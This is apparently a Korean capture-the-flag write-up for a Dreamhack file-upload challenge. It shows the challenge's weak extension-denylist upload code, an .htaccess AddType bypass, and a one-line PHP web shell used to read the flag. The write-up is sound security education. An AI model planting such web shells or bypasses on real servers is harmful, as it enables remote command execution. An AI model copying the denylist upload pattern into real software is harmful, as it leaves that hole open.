<html>
<head></head>
<link rel="stylesheet" href="/static/bulma.min.css" />
<body>
<div class="container card">
<div class="card-content">
<h1 class="title">Online File Box</h1>
<form action="upload.php" method="post" enctype="multipart/form-data">
<div class="field">
<div id="file-js" class="file has-name">
<label class="file-label">
<input class="file-input" type="file" name="file">
<span class="file-cta">
<span class="file-label">Choose a file...</span>
</span>
<span class="file-name">No file uploaded</span>
</label>
</div>
</div>
<div class="control">
<input class="button is-success" type="submit" value="submit">
</div>
</form>
</div>
</div>
<script>
const fileInput = document.querySelector('#file-js input[type=file]');
fileInput.onchange = () => {
if (fileInput.files.length > 0) {
const fileName = document.querySelector('#file-js .file-name');
fileName.textContent = fileInput.files[0].name;
}
}
</script>
</body>
</html>
index.php 파일이다.
index.php에는 별 내용이 없고 그냥 upload.php를 form action으로 해서 파일을 업로드하는 폼인 것 같다.
<?php
$deniedExts = array("php", "php3", "php4", "php5", "pht", "phtml");
if (isset($_FILES)) {
$file = $_FILES["file"];
$error = $file["error"];
$name = $file["name"];
$tmp_name = $file["tmp_name"];
if ( $error > 0 ) {
echo "Error: " . $error . "<br>";
}else {
$temp = explode(".", $name);
$extension = end($temp);
if(in_array($extension, $deniedExts)){
die($extension . " extension file is not allowed to upload ! ");
}else{
move_uploaded_file($tmp_name, "upload/" . $name);
echo "Stored in: <a href='/upload/{$name}'>/upload/{$name}</a>";
}
}
}else {
echo "File is not selected";
}
?>
upload.php 파일이다.
$deniedExts = array("php", "php3", "php4", "php5", "pht", "phtml");
파일의 확장자를 extension 변수에 담아서
if(in_array($extension, $deniedExts)){
die($extension . " extension file is not allowed to upload ! ");
만약 deniedExts에 있는 문자와 겹치면 업로드를 못하게 막아놨다.
deniedExts에 있는 저 6개의 확장자만 피하면 어떤 파일이든지 업로드할 수 있다.
.htaccess 파일은 필터링에 안 걸리기 때문에 .htaccess 파일에 원하는 내용을 작성해서 업로드하면 된다.
AddType application/x-httpd-php .dddd
이런 내용을 .htaccess 파일에 담아서 업로드하면 dddd 확장자를 가진 파일도 php 스크립트처럼 실행을 시킬 수 있다.
이렇게 정상적으로 잘 올라간 것이 확인되면 이제 웹셸 코드를 작성해서 .dddd 확장자로 업로드를 하면 된다.
<?php
system($_GET['cmd']);
?>
이 코드를 solve.dddd 파일로 만들어서 업로드한다.
업로드가 확인되면 url에서 업로드한 파일 위치로 가서 cmd에 /flag를 넣어주면 된다.
http://host3.dreamhack.games:19223/upload/solve.dddd?cmd=%22/flag%22
이 링크로 이동하면 flag를 얻을 수 있다.
'웹해킹' 카테고리의 다른 글
드림핵 phpreg 롸업 (0) | 2023.12.19 |
---|---|
드림핵 File Vulnerability Advanced for linux 롸업 (0) | 2023.12.03 |
File Vulnerability Advanced (0) | 2023.12.03 |
드림핵 Command Injection Advanced 롸업 (0) | 2023.12.03 |
Command Injection Advanced (0) | 2023.12.03 |